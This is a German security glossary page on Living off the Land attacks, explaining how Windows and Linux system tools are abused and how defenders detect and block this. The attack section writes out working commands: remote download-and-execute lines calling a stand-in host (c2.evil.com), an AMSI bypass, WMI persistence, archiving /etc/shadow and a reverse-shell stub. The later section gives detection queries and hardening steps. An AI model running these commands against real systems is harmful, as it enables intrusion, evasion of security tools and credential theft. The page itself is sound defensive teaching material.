Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Angriffstechniken Glossar

Living off the Land (LotL) - LOLBins und LOLBas

Living off the Land (LotL) bezeichnet Angriffstechniken bei denen Angreifer ausschließlich legitime, bereits im System vorhandene Tools und Werkzeuge nutzen (LOLBins = Living off the Land Binaries) statt eigener Malware. Durch Nutzung von PowerShell, WMI, certutil, regsvr32, mshta und anderen Windows-Bordmitteln vermeiden Angreifer Antivirus-Erkennung und erschweren forensische Attribution. MITRE ATT&CK T1218 (System Binary Proxy Execution).

Living off the Land ist das Tarnkappen-Konzept moderner Angreifer: Keine eigene Malware die erkannt werden könnte - stattdessen das Betriebssystem gegen sich selbst nutzen. PowerShell ist ein Befehlsinterpreter für Administratoren - und für Angreifer. certutil ist ein Zertifikatsverwaltungs-Tool - und ein Downloader. WMI ist eine Management-Schnittstelle - und eine Persistenz-Technik. LOLBins machen jeden Windows-Computer zum potenziellen Angreifer-Werkzeug.

LOLBins - Living off the Land Binaries

Bekannte LOLBins und ihre Missbrauchsmöglichkeiten:

PowerShell (powershell.exe / pwsh.exe):
  MITRE: T1059.001
  Normaler Zweck: Scripting, Administration
  Missbrauch:
    # Encoded Command (Base64) - vermeidet Logging:
    powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0AC...
    # = Invoke-WebRequest http://c2.evil.com/payload.exe -OutFile shell.exe

    # AMSI-Bypass:
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')|
      ?{$_}|%{$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}

    # PowerShell Remoting für Lateral Movement:
    Invoke-Command -ComputerName DC01 -ScriptBlock {whoami}
    Enter-PSSession -ComputerName FileServer01

    # Download + Execute (ohne Datei auf Disk):
    IEX (New-Object Net.WebClient).DownloadString('http://c2.evil.com/payload.ps1')

WMI (Windows Management Instrumentation):
  MITRE: T1047
  Normaler Zweck: Hardware-Abfragen, Software-Management
  Missbrauch:
    # Remote Process Execution:
    wmic /node:192.168.1.10 /user:domain\admin /password:Pass123
      process call create "cmd.exe /c calc.exe"

    # Persistenz via WMI Event Subscription:
    # (Startet bei System-Events - überlebt Reboots!)
    wmic /namespace:"\\root\subscription" path __EventFilter
      create Name="PersistFilter", EventNamespace="root\cimv2",
      QueryLanguage="WQL", Query="SELECT * FROM Win32_ModuleLoadTrace"

CertUtil (certutil.exe):
  MITRE: T1105 (Ingress Tool Transfer)
  Normaler Zweck: Zertifikatsverwaltung, PKI
  Missbrauch:
    # Dateien herunterladen (umgeht einfache Proxy-Filter!):
    certutil.exe -urlcache -split -f "http://c2.evil.com/payload.exe" payload.exe

    # Base64-Dekodierung:
    certutil.exe -decode encoded.txt payload.exe
    # (Angreifer liefert Base64-encodierte Payload als .txt)

    # Löschen des URL-Cache (Spuren verwischen):
    certutil.exe -urlcache -split -f "http://c2.evil.com/payload.exe" delete

MSHta (mshta.exe):
  MITRE: T1218.005
  Normaler Zweck: HTML Application Host (HTA-Dateien)
  Missbrauch:
    # Remote HTA ausführen:
    mshta.exe "http://c2.evil.com/evil.hta"
    # HTA = HTML + VBScript/JScript → vollständiger Script-Zugriff!

    # Phishing: "Bitte die HTA-Datei öffnen" statt .exe → wird oft nicht blockiert

regsvr32 (regsvr32.exe):
  MITRE: T1218.010
  Normaler Zweck: COM-Objekte registrieren
  Missbrauch (Squiblydoo):
    # Remote COM-Objekt laden und ausführen:
    regsvr32.exe /s /n /u /i:"http://c2.evil.com/evil.sct" scrobj.dll
    # → SCT-Datei enthält JScript/VBScript
    # → regsvr32 ist signiert von Microsoft → umgeht AppLocker oft!

rundll32 (rundll32.exe):
  MITRE: T1218.011
  Normaler Zweck: DLL-Funktion aufrufen
  Missbrauch:
    # URL zu JavaScript als DLL laden:
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";...
    # Eigene DLL ausführen:
    rundll32.exe C:\Users\Public\evil.dll,EntryPoint

wscript / cscript:
  MITRE: T1059.005
  Normaler Zweck: VBScript/JScript ausführen
  Missbrauch:
    wscript.exe //B "\\share\payload.vbs"  # Silent mode, keine Dialoge

BitsAdmin (bitsadmin.exe):
  MITRE: T1197
  Normaler Zweck: Background Intelligent Transfer Service (Windows Update)
  Missbrauch:
    # Download:
    bitsadmin /transfer "WindowsUpdate" /download /priority high
      "http://c2.evil.com/payload.exe" "C:\Windows\Temp\payload.exe"
    # Persistenz: BITS Jobs überstehen Reboots!

LOLBas - Living off the Land Based Scripts

Über Binaries hinaus - Scripts und Built-in Features:

Excel/Office Makros (MITRE T1566.001):
  → Phishing: .xlsm, .docm Anhang mit Makro
  → Makro: certutil download + PowerShell execute
  → Modern: auch in ODF, LibreOffice möglich

Outlook Home Page Attack:
  → Registry: Outlook-Startseite auf evil.com setzen
  → Persistenz: bei jedem Outlook-Start wird Webseite geladen

DLL Hijacking:
  → Legitime Anwendung lädt DLL aus unsicherem Pfad
  → Angreifer legt eigene DLL an gesuchtem Ort ab
  → Applikation lädt Angreifer-DLL (signiert von sich selbst nicht nötig!)

LOLBAS-Referenz:
  → lolbas-project.github.io: vollständige Liste aller bekannten LOLBins
  → 250+ dokumentierte Windows-Binaries mit Missbrauchs-Beispielen
  → Kategorien: Execute, Download, Upload, Compile, Copy, Decode

GTFOBins (Linux-Äquivalent):
  → gtfobins.github.io: LOLBins für Linux
  → SUID-Missbrauch, Sudo-Escape, Capability-Nutzung

  Beispiele:
    # awk als Shell:
    awk 'BEGIN {system("/bin/sh")}'

    # tar als Datei-Exfiltration:
    tar -cf /tmp/loot.tar /etc/shadow

    # python für Reverse Shell:
    python3 -c 'import socket,os,pty;s=socket.socket(...)'

Erkennung von LotL-Angriffen

Wie EDR/SIEM LotL-Angriffe erkennt:

PowerShell Logging aktivieren:
  # Group Policy: Computer Config → Admin Templates → Windows Components → PowerShell
  Turn on Module Logging:                   ENABLED (alle Befehle)
  Turn on PowerShell Script Block Logging:  ENABLED (auch obfuskierte Scripts)
  Turn on Transcription:                    ENABLED (alles in Log-File)

  # Event Log: Microsoft-Windows-PowerShell/Operational
  # Event ID 4104: Script Block Logging (der eigentliche Befehls-Inhalt)
  # Event ID 4103: Module Logging

  # Verdächtige PowerShell-Muster (Sentinel KQL):
  SecurityEvent
  | where EventID == 4104
  | where ScriptBlockText contains_any
    ("FromBase64String", "IEX", "Invoke-Expression",
     "DownloadString", "WebClient", "AmsiUtils",
     "Bypass", "HideWindow", "EncodedCommand")
  | project TimeGenerated, Computer, ScriptBlockText

WMI-Monitoring:
  # Sysmon Event ID 19-21: WMI Event Subscription
  # Event ID 20: WMI EventFilter + Consumer: Persistenz!
  Get-WMIObject -Namespace "root\subscription" -Class __EventFilter
  # → Wenn es unbekannte Filter gibt: Untersuchung!

Sigma-Regel für LotL:
  title: Living off the Land - CertUtil Download
  id: xxx
  status: stable
  description: CertUtil used for file download (LOLBin abuse)
  logsource:
    category: process_creation
    product: windows
  detection:
    selection:
      Image|endswith: '\certutil.exe'
      CommandLine|contains:
        - '-urlcache'
        - '-split'
        - 'http'
    condition: selection
  level: medium
  tags:
    - attack.ingress_tool_transfer
    - attack.t1105

EDR-Detektions-Mechanismen:
  → Behavioral Detection: PowerShell → Network → Exec → Persistence = Verdächtig!
  → Process Tree: Word.exe → powershell.exe → curl.exe → SUSPICIOUS
  → Script Analysis: PowerShell Script Block wird auf Muster geprüft
  → API-Monitoring: Suspicious API calls (VirtualAlloc + WriteProcessMemory)
  → Parent-Child Anomalien: Excel spawnt cmd.exe → ALERT!

Hardening gegen LotL:
  □ PowerShell: Constrained Language Mode erzwingen
    [System.Management.Automation.PSConstrainedLanguageMode]::Enter()
    # Limitiert PowerShell-Fähigkeiten drastisch

  □ WDAC (Windows Defender Application Control):
    → Nur signierte Anwendungen ausführen (AppLocker-Nachfolger)
    → LOLBins können explizit blockiert werden (z.B. mshta.exe)

  □ Attack Surface Reduction (ASR) Rules (Microsoft Defender):
    Block abuse of exploited vulnerable signed drivers
    Block credential stealing from LSASS
    Block Office applications from spawning child processes
    Block execution of potentially obfuscated scripts

  □ Logging: Script Block Logging + Process Command Line Logging aktivieren
  □ Monitoring: EDR mit Behavioral Detection (CrowdStrike, Defender for Endpoint)

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung